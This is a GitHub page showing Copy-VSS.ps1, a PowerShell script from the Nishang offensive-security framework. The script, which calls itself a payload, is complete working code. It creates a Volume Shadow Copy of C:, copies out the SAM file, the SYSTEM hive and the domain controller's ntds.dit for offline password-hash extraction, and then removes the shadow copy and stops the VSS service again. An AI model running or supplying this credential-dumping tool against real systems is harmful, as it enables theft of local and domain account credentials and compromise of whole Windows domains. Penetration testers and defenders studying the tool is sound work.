



Sign in

samratashok / nishang Public

Notifications

Fork 2.4k

Star 8.8k

Code

Issues 16

Pull requests 6

Actions

Projects

Wiki

Security

Insights

nishang / Gather / Copy-VSS.ps1



84 lines (69 loc) · 2.38 KB

Code

Blame

Raw



```
1  function Copy-VSS
2  {
3      <#
4      .SYNOPSIS
5      Nishang Payload which copies the SAM file (and ntds.dit and SYSTEM hive if run on a Domain Controller)
6
7      .DESCRIPTION
8      This payload uses the VSS service (starts it if not running), creates a shadow of C:
9      and copies the SAM file which could be used to dump password hashes from it. If the script is run on a
10     The script must be run from an elevated shell.
11     The default path used for SAM is C:\Windows\System32\config\SAM, for SYSTEM hive it is C:\Windows\System32\config\SYSTEM
12     NTDS.dit it is C:\Windows\system32\ntds.dit. Sometimes the ntds.dit is present in other locations like C:\Windows\NTDS
13     Use $ntdsSource variable to provide the directory.
14
15     .PARAMETER PATH
16     The path where the files would be saved. It must already exist.
17
18     .EXAMPLE
19     PS > Copy-VSS
20     Saves the files in current run location of the payload.
21
22     .Example
23     PS > Copy-VSS -DestinationDir C:\temp
24     Saves the files in C:\temp.
25
26     .Example
```

```
27 PS > Copy-VSS -DestinationDir C:\temp -ntdsSource D:\ntds\ntds.dit
28
29 .LINK
30 http://www.canhazcode.com/index.php?a=4
31 https://github.com/samratashok/nishang
32
33 .NOTES
34 Code by @al14s
35
36 #>
37
38 [CmdletBinding()] Param(
39     [Parameter(Position = 0, Mandatory = $False)]
40     [String]
41     $DestinationDir,
42
43     [Parameter(Position = 1, Mandatory = $False)]
44     [String]
45     $ntdsSource
46 )
47 $service = (Get-Service -name VSS)
48 if($service.Status -ne "Running")
49 {
50     $notrunning=1
51     $service.Start()
52 }
53 $id = (Get-WmiObject -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
54 $volume = (Get-WmiObject win32_shadowcopy -filter "ID='$id'")
55 $SAMpath = "$pwd\SAM"
56 $SYSTEMpath = "$pwd\SYSTEM"
57 $ntdspath = "$pwd\ntds"
58 if ($DestinationDir)
59 {
60     $SAMpath = "$DestinationDir\SAM"
61     $SYSTEMpath = "$DestinationDir\SYSTEM"
62     $ntdspath = "$DestinationDir\ntds"
63 }
64
65
66 cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM" $SAMpath
67 cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SYSTEM" $SYSTEMpath
68 if($ntdsSource)
69 {
70     cmd /c copy "$($volume.DeviceObject)\$ntdsSource\ntds.dit" $ntdspath
71 }
72 else
```

```
73      {
74          cmd /c copy "$($volume.DeviceObject)\windows\system32\ntds.dit" $ntdspath
75      }
76      $volume.Delete()
77      if($notrunning -eq 1)
78      {
79          $service.Stop()
80      }
81  }
```